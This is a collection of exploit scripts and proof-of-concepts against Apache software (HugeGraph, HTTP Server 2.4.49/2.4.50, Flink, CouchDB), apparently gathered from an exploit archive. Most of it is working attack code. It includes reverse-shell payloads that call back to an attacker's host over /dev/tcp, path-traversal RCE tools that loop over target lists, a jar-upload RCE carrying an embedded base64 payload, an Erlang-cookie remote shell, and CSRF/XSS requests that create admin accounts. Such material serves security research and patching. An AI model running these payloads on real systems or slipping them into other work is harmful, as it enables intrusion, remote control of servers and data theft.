 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | / /  |_ \| || |_ / _ \ 
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ / /  ___) |__   _| (_) |
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____/_/  |____/   |_|  \___/ 

[+] Reverse shell                                                                                                                                                                                     
Author: Yesith Alvarez
Github: https://github.com/yealvarez
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2024–27348/exploit.py
    ''')   


def exploit(url, lhost, lport):       
    payload = {"gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread, \"VICARIUS\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor constructor = processBuilderClass.getConstructor(java.util.List.class);java.util.List command = java.util.Arrays.asList(\"bash\", \"-c\", \"bash -i>&/dev/tcp/"+lhost+"/"+lport+"\", \"0>&1\");Object processBuilderInstance = constructor.newInstance(command);java.lang.reflect.Method startMethod = processBuilderClass.getMethod(\"start\");startMethod.invoke(processBuilderInstance);", "bindings": {}, "language": "gremlin-groovy", "aliases": {}}
    headers = {    
    'Content-Type': 'application/json'}
    s = Session()
    url = url + "/gremlin"
    req = Request('POST', url, json=payload, headers=headers)
    prepped = req.prepare()
    del prepped.headers['Content-Type']
    resp = s.send(prepped,
    verify=False,
    timeout=15)
    print(prepped.headers)
    print(url)
    print(resp.headers)       
    print(payload)
    print(resp.status_code)
    print(resp.text)


if __name__ == '__main__':
    title()
    if(len(sys.argv) < 4):
        print('[+] USAGE: python3 %s https://<target_url> lhost lport \n'%(sys.argv[0]))
        print('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.2 4444\n'%(sys.argv[0]))  
        print('[+] Do not forget to run the listener: nc -lvp 4444\n')      
        exit(0)
    else:
        exploit(sys.argv[1],sys.argv[2],sys.argv[3])
            
Normal URLs like http://redirect.local/test will be forwared to https://redirect.local/test. But by using newlines (CVE 2019-10098), we can redirect somewhere else (i.e. to `https://redirect.local.evilwebsite.com`):

```
curl -Ik 'https://redirect.local/%0a.evilwebsite.com' --path-as-is
HTTP/2 302 
date: Mon, 28 Oct 2019 03:36:58 GMT
content-type: text/html; charset=iso-8859-1
location: https://redirect.local.evilwebsite.com
```
            
The trick is to use a vertical tab (`%09`) and then place another URL in the tag. So once a victim clicks the link on the error page, she will go somewhere else.

As you can see, the browser changes the destination from relative / to an absolute url https://enoflag.de. The exploit is `http://domain.tld/%09//otherdomain.tld`

Here's the httpd configuration to reproduce the behavior:

```
    <Location />
        ProxyPass http://127.0.0.1:9000/ connectiontimeout=1 timeout=2
        ProxyPassReverse http://127.0.0.1:9000/ 
        Order allow,deny
        Allow from all
    </Location>
```
            
# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
# Date: 11/11/2021
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://apache.org/
# Version: Apache 2.4.49/2.4.50 (CGI enabled)
# Tested on: Debian GNU/Linux
# CVE : CVE-2021-41773 / CVE-2021-42013
# Credits : Lucas Schnell


#!/usr/bin/env python3
#coding: utf-8

import os
import re
import sys
import time
import requests
from colorama import Fore,Style


header = '''\033[1;91m
    
     ▄▄▄       ██▓███   ▄▄▄       ▄████▄   ██░ ██ ▓█████     ██▀███   ▄████▄  ▓█████ 
    ▒████▄    ▓██░  ██▒▒████▄    ▒██▀ ▀█  ▓██░ ██▒▓█   ▀    ▓██ ▒ ██▒▒██▀ ▀█  ▓█   ▀ 
    ▒██  ▀█▄  ▓██░ ██▓▒▒██  ▀█▄  ▒▓█    ▄ ▒██▀▀██░▒███      ▓██ ░▄█ ▒▒▓█    ▄ ▒███   
    ░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█  ▄    ▒██▀▀█▄  ▒▓▓▄ ▄██▒▒▓█  ▄ 
    ▓█   ▓██▒▒██▒ ░  ░ ▓█   ▓██▒▒ ▓███▀ ░░▓█▒░██▓░▒████▒   ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒
    ▒▒   ▓▒█░▒▓▒░ ░  ░ ▒▒   ▓▒█░░ ░▒ ▒  ░ ▒ ░░▒░▒░░ ▒░ ░   ░ ▒▓ ░▒▓░░ ░▒ ▒  ░░░ ▒░ ░
    ▒   ▒▒ ░░▒ ░       ▒   ▒▒ ░  ░  ▒    ▒ ░▒░ ░ ░ ░  ░     ░▒ ░ ▒░  ░  ▒    ░ ░  ░
    ░   ▒   ░░         ░   ▒   ░         ░  ░░ ░   ░        ░░   ░ ░           ░ 
''' + Style.RESET_ALL


if len(sys.argv) < 2 :
    print( 'Use: python3 file.py ip:port ' )
    sys.exit()

def end():
    print("\t\033[1;91m[!] Bye bye !")
    time.sleep(0.5)
    sys.exit(1)

def commands(url,command,session):
    directory = mute_command(url,'pwd')
    user = mute_command(url,'whoami')
    hostname = mute_command(url,'hostname')
    advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn\'t an interactive shell)')
    command = input(f"{Fore.RED}╭─{Fore.GREEN + user}@{hostname}: {Fore.BLUE + directory}\n{Fore.RED}╰─{Fore.YELLOW}$ {Style.RESET_ALL}")    
    command = f"echo; {command};"
    req = requests.Request('POST', url=url, data=command)
    prepare = req.prepare()
    prepare.url = url  
    response = session.send(prepare, timeout=5)
    output = response.text
    print(output)
    if 'clear' in command:
        os.system('/usr/bin/clear')
        print(header)
    if 'exit' in command:
        end()

def mute_command(url,command):
    session = requests.Session()
    req = requests.Request('POST', url=url, data=f"echo; {command}")
    prepare = req.prepare()
    prepare.url = url  
    response = session.send(prepare, timeout=5)
    return response.text.strip()


def exploitRCE(payload):
    s = requests.Session()
    try:
        host = sys.argv[1]
        if 'http' not in host:
            url = 'http://'+ host + payload
        else:
            url = host + payload 
        session = requests.Session()
        command = "echo; id"
        req = requests.Request('POST', url=url, data=command)
        prepare = req.prepare()
        prepare.url = url  
        response = session.send(prepare, timeout=5)
        output = response.text
        if "uid" in output:
            choice = "Y"
            print( Fore.GREEN + '\n[!] Target %s is vulnerable !!!' % host)
            print("[!] Sortie:\n\n" + Fore.YELLOW + output )
            choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ")
            if choice.lower() in ['','y','yes']:
                while True:
                    commands(url,command,session)  
            else:
                end()       
        else :
            print(Fore.RED + '\nTarget %s isn\'t vulnerable' % host)
    except KeyboardInterrupt:
        end()

def main():
    try:
        apache2449_payload = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash'
        apache2450_payload = '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash'
        payloads = [apache2449_payload,apache2450_payload]
        choice = len(payloads) + 1
        print(header)
        print("\033[1;37m[0] Apache 2.4.49 RCE\n[1] Apache 2.4.50 RCE")
        while choice >= len(payloads) and choice >= 0:
            choice = int(input('[~] Choice : '))
            if choice < len(payloads):
                exploitRCE(payloads[choice])
    except KeyboardInterrupt:
            print("\n\033[1;91m[!] Bye bye !")
            time.sleep(0.5)
            sys.exit(1)

if __name__ == '__main__':
    main()
            
# Exploit: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2)
# Credits: Ash Daulton & cPanel Security Team
# Date: 24/07/2021
# Exploit Author: TheLastVvV.com
# Vendor Homepage:  https://apache.org/
# Version: Apache 2.4.50 with CGI enable
# Tested on : Debian 5.10.28
# CVE : CVE-2021-42013

#!/bin/bash

echo 'PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI'
if [ $# -eq 0 ]
then
echo  "try: ./$0 http://ip:port LHOST LPORT"
exit 1
fi
curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; echo '/bin/sh -i >& /dev/tcp/$2/$3 0>&1' > /tmp/revoshell.sh" && curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; bash  /tmp/revoshell.sh"

#usage chmod -x CVE-2021-42013.sh
#./CVE-2021-42013_reverseshell.sh http://ip:port/ LHOST LPORT
            
# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.50
# Tested on: 2.4.50
# CVE : CVE-2021-42013
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id

exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
            
# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
            
#!/usr/bin/env python3
# _*_ coding: utf-8 _*_

# Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)
# Google Dork: None
# Date: 2020.11.01
# Exploit Author: bigger.wing
# Vendor Homepage: https://flink.apache.org/
# Software Link: https://flink.apache.org/downloads.html
# Version: 1.9.x
# Tested on: Centos7.x, 1.9.1
# CVE: None

import io
import re
import sys
import base64
import requests


class FlinkRCECheck:

    def __init__(self, url):
        self.url = url
        self.timeout = 10
        self.upload_file = 'rce_check_from_sec.jar'
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '
                          'Chrome/61.0 Safari/537.36'
        }

    @property
    def get_version(self):
        url = '%s/%s' % (self.url, 'config')
        try:
            res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)
            version = res.json().get('flink-version')
        except:
            version = 'unknown'
        return version

    @property
    def jar_check(self):
        url = '%s/%s' % (self.url, 'jars')
        jar_list = []
        try:
            res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)
            if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):
                res = res.json()
                for file in res['files']:
                    if file['id'].endswith(self.upload_file):
                        jar_list.append(file['id'])
        except Exception as e:
            pass

        return jar_list

    @property
    def jar_upload(self):
        url = '%s/%s' % (self.url, 'jars/upload')
        jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My'
                                       '0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg'
                                       'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA'
                                       'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK'
                                       'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz'
                                       '/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3'
                                       'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv'
                                       'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5'
                                       'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC'
                                       'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN'
                                       'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK'
                                       '6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q'
                                       'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs'
                                       '10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM'
                                       'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo'
                                       'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp'
                                       's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ'
                                       'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs'
                                       'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt'
                                       'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO'
                                       'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b'
                                       'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw'
                                       'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ'
                                       'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG'
                                       'AAAAAAMAAwC4AAAArgQAAAAA')
        files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}

        try:
            res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)
            file_id = res.json()['filename'].split('/')[-1]
            return file_id
        except Exception as e:
            res = False
        return res

    @property
    # delete history jar packages
    def jar_delete(self):
        for jar_name in self.jar_check:
            url = '%s//jars/%s' % (self.url, jar_name)
            try:
                requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)
            except:
                pass
        return

    def rce(self, command):
        jar_file = self.jar_upload
        try:
            execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)
            res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)
            res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]
            if res:
                print('rce command "%s" exec result: %s' % (command, res))
                state = 1
                msg = '%s rce success' % self.url
            else:
                state = 0
                msg = '%s rce failed' % self.url
        except:
            state = 0
            msg = '%s rce failed' % self.url

        delete = self.jar_delete

        return {'state': state, 'version': self.get_version, 'msg': msg}


if __name__ == '__main__':
    usage = 'python3 script.py ip port command'
    if len(sys.argv) != 4:
        print('simple usage: %s' % usage)
    else:
        ip = sys.argv[1]
        port = sys.argv[2]
        command = sys.argv[3]
        url = 'http://%s:%s' % (ip, port)
        res = FlinkRCECheck(url=url).rce(command=command)
        print(res)
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Scanner
    include Msf::Auxiliary::Report

      def initialize(info = {})
          super(update_info(
            info,
            'Name'           => 'Apache Flink File Read Vulnerability',
            'Description'    => %q{
                This module exploits an unauthenticated directory traversal vulnerability
                in Apache Flink version 1.11.0 (and released in 1.11.1 and 1.11.2 as well),
                allowing arbitrary file read with the web server privileges
            },
            'Author'         =>
              [
                '0rich1 - Ant Security FG Lab', # Vulnerability discovery
                'Hoa Nguyen - Suncsr Team',    # Metasploit module
              ],
            'License'        => MSF_LICENSE,
            'References'     =>
              [
                ['CVE', '2020-17519'],
                ['URL', 'http://www.openwall.com/lists/oss-security/2021/01/05/2'],
                ['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
              ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [['', {}]],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 05 2021'

            ))

            register_options([
                OptInt.new('DEPTH',[true,'Traversal Depth',12]),
                OptString.new('FILEPATH',[true,'The path file to read','/etc/passwd'])
            ])
            end

            def run_host(ip)
                traversal = '..%252f' * datastore['DEPTH']
                filename = datastore['FILEPATH'].gsub("/","%252f")
                filename = filename[1, filename.length] if filename =~ /^\//

                res = send_request_cgi({
                    'method' => 'GET',
                    'uri' => normalize_uri(target_uri.path,'jobmanager','logs',"#{traversal}#{filename}"),
                })

                fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
                fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?

                print_status('Downloading file...')
                print_line("\n#{res.body}\n")
                  fname = datastore['FILEPATH']
                  path = store_loot(
                  'apache.traversal',
                  'text/plain',
                  ip,
                  res.body,
                  fname
                )
                print_good("File saved in: #{path}")
            end
        end
            
# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
#  https://habr.com/ru/post/661195/
#  https://www.exploit-db.com/exploits/49418
#  https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
#  https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
# 
#
#!/usr/local/bin/python3

import socket
from hashlib import md5
import struct
import sys
import re
import time

TARGET = ""
EPMD_PORT = 4369 # Default Erlang distributed port
COOKIE = "monster" # Default Erlang cookie for CouchDB 
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list

# Some data:
NAME_MSG  = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"


def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("Remote Command Execution via Erlang Distribution Protocol.\n")

while not TARGET:
    TARGET = input("Enter target host:\n> ")

# Connect to EPMD:
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %s\n terminating program" % msg)
    sys.exit(1)
    
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("\nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" %(line_number, line))
        choise = int(input("\n> "))
        
    ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Connect to Erlang port:
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
    sys.exit(1)
   
s.send(NAME_MSG)
s.recv(5)                    # Receive "ok" message
challenge = s.recv(1024)     # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]

#print("Extracted challenge: {}".format(challenge))

# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
        s.recv(45)              # Control message
        data_size -= 45         # Data size without control message
        time.sleep(0.1)
    elif data_size < 1024:        
        data = s.recv(data_size)
        #print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
        time.sleep(0.1)
        print(data.decode())
        data_size = 0
    else:        
        data = s.recv(1024)
        #print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
        time.sleep(0.1)
        print(data.decode(),end = '')
        data_size -= 1024
            
##################################################################################################################################
# Exploit Title: Apache CouchDB 2.3.1 | Cross-Site Request Forgery /
Cross-Site Scripting
# Date: 22.03.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: http://couchdb.apache.org
# Software Link: http://couchdb.apache.org/#download
# Version: 2.3.1
##################################################################################################################################

Introduction

A CouchDB server hosts named databases, which store documents. Each
document is uniquely named in the database, and CouchDB provides a RESTful
HTTP API for reading and updating (add, edit, delete) database documents.

#################################################################################

Vulnerabilities: CSRF | XSS DOM Based & Reflected & Stored

#################################################################################

CSRF1

Create Database

PUT /test HTTP/1.1
Host: 127.0.0.1:5984
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:5984/_utils/
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 27
DNT: 1
Connection: close
Cookie: _ga=GA1.1.781615969.1550605249

{"id":"test","name":"test"}

#################################################################################

CSRF2

Delete Database

DELETE /test HTTP/1.1
Host: 127.0.0.1:5984
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:5984/_utils/
content-type: application/json
pragma: no-cache
Origin: http://127.0.0.1:5984
DNT: 1
Connection: close
Cookie: _ga=GA1.1.781615969.1550605249
Cache-Control: max-age=0


#################################################################################

CSRF3

Create Document

POST /test/ HTTP/1.1
Host: 127.0.0.1:5984
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:5984/_utils/
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 18
DNT: 1
Connection: close
Cookie: _ga=GA1.1.781615969.1550605249

{"testdoc":"test"}

#################################################################################

CSRF4

Create Admin

PUT /_node/couchdb@localhost/_config/admins/admin HTTP/1.1
Host: 127.0.0.1:5984
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:5984/_utils/
content-type: application/json
pragma: no-cache
Origin: http://127.0.0.1:5984
Content-Length: 10
DNT: 1
Connection: close
Cookie: _ga=GA1.1.781615969.1550605249
Cache-Control: max-age=0

"password"


#################################################################################


CSRF5 & XSS1 | DOM Based & Stored - Add Option


PUT /_node/couchdb@localhost/_config/test/%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
HTTP/1.1
Host: 127.0.0.1:5984
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:5984/_utils/
content-type: application/json
pragma: no-cache
Origin: http://127.0.0.1:5984
Content-Length: 6
DNT: 1
Connection: close
Cookie: _ga=GA1.1.781615969.1550605249
Cache-Control: max-age=0

"test"

#################################################################################

CSRF6 & XSS2 | DOM Based & Stored - Delete Option

DELETE /_node/couchdb@localhost/_config/test/%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
HTTP/1.1
Host: 127.0.0.1:5984
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:5984/_utils/
content-type: application/json
pragma: no-cache
Origin: http://127.0.0.1:5984
DNT: 1
Connection: close
Cookie: _ga=GA1.1.781615969.1550605249
Cache-Control: max-age=0


#################################################################################
            
##################################################################################################################################
# Exploit Title: Apache CouchDB 2.3.0 | Cross-Site Scripting
# Date: 17.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: http://couchdb.apache.org
# Software Link: http://couchdb.apache.org/#download
# Version: 2.3.0
##################################################################################################################################

Introduction

A CouchDB server hosts named databases, which store documents. Each
document is uniquely named in the database, and CouchDB provides a RESTful
HTTP API for reading and updating (add, edit, delete) database documents.

#################################################################################

XSS details: DOM Based & Reflected & Stored

#################################################################################

XSS1 | DOM Based - Create Database

URL
http://127.0.0.1:5984/_utils/#/_all_dbs


PAYLOAD
<img src=x onerror=alert(1)>

<input id="js-new-database-name" type="text" class="input-xxlarge"
placeholder="Name of database" value="<img src=x onerror=alert(1)>">

#################################################################################

XSS2 | DOM Based & Stored - Add Option

URL
http://127.0.0.1:5984/_utils/#_config/couchdb@localhost
http://127.0.0.1:5984/_node/couchdb@localhost/_config/1/%3Cimg%20src%3Dx%20onerror%3Dalert(2)%3E

METHOD
Put

PAYLOAD
<img src=x onerror=alert(2)>

<input class="input-option-name" type="text" name="name" placeholder="Name">

#################################################################################

XSS3 | DOM Based & Stored - Delete Option

URL
http://127.0.0.1:5984/_utils/#_config/couchdb@localhost
http://127.0.0.1:5984/_node/couchdb@localhost/_config/1/%3Cimg%20src%3Dx%20onerror%3Dalert(2)%3E

METHOD
Delete

PAYLOAD
<img src=x onerror=alert(2)>

#################################################################################
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/APACHE-COUCHDB-LOCAL-PRIVILEGE-ESCALATION.txt

[+] ISR: ApparitionSec



Vendor:
==================
couchdb.apache.org



Product:
==============
CouchDB v2.0.0

Apache CouchDB is open source database software that focuses on ease of use
and having an architecture. It has a document-oriented
NoSQL database architecture and is implemented in the concurrency-oriented
language Erlang; it uses JSON to store data, JavaScript
as its query language using MapReduce, and HTTP for an API.


Vulnerability Type:
===================
Privilege Escalation (Insecure File Permissions)



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

CouchDB sets weak file permissions potentially allowing 'Standard' Windows
users to elevate privileges. The "nssm.exe" (Apache CouchDB)
executable can be replaced by a 'Standard' non administrator user, allowing
them to add a backdoor Administrator account once the
"Apache CouchDB" service is restarted or system rebooted.

As Apache CouchDB runs as LOCALSYSTEM, standard users can now execute
arbitrary code with the privileges of the SYSTEM.

